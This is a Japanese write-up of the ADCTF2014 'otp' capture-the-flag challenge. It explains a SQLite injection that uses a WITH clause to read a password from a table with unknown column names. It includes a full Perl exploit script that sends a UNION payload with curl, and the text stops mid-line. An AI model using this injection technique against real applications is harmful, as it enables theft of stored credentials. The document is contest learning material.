= otp = == 問題 == Try your sqli skills. [[http://otp.adctf2014.katsudon.org/|otp.adctf2014.katsudon.org]] [[http://adctf2014.katsudon.org/dat/IsrekGDczQvgDUOJ/otp__censored__.pl|source]] == 解法 == 出題から30分の間は26行目が {{{#!highlight perl if ($token =~ /sqlite/) { }}} になっており,sqliteを大文字にしてSqlite_masterテーブルから情報を取り出すだけの簡単問題であった。 が,書き上がったエクスプロイトを実行する瞬間サーバが停止され,修正されてしまった。カラム名まで分かってたのに。無念。 さて,本来の問題であるが,カラム名がわからないotpテーブルからいかにして値を取り出すかである。 SQLiteには1.8.3からWITH-SELECT文が追加され,カラムに順に名前をつけて新たなテーブルとして参照することが可能になった。 これを用いると,次のようにサブクエリ内でカラムの名前がわからないまま,パスワードを取り出すことが出来る。 {{{#!highlight sql SELECT (WITH a(token,pass,z) AS (SELECT * FROM otp) SELECT pass FROM a WHERE token = '$token') }}} このクエリを例によってSQLインジェクションしてUNIONで連結して送信する。 {{{#!highlight perl use strict; use warnings; my $url = "http://otp.adctf2014.katsudon.org/"; sub system_pipe { my @args = @_; open my $pipe, "-|", @args or return; my @result = <$pipe>; join "", @result; } sub escape_uri { my $s = shift; $s =~ s/([^[:alnum:]])/'%'.unpack("H*", $1)/ge; return $s; } sub get_token { my $result = system_pipe "curl", "-s", $url; if ($result =~ m{}) { return $1; } else { die } } sub extract { my $sql = shift; my $token = "' UNION $sql -- "; #print $token; my $result = system_pipe "curl", "-s", $url, '-d', 'token='.escape_uri($token); #print $result; if ($result =~ m{otp expired at (.*)

}s) { return $1; } else { die } } my $token = get_token(); my $pass = extract("SELECT (WITH a(token,pass,z) AS (SELECT * FROM otp) SELECT pass FROM a WHERE token = '$token')"); my $result = system_pipe "curl", "-s", $url, '-d', "token=$token&pass=$pass"; if ($result =~ /flag is: (.*?)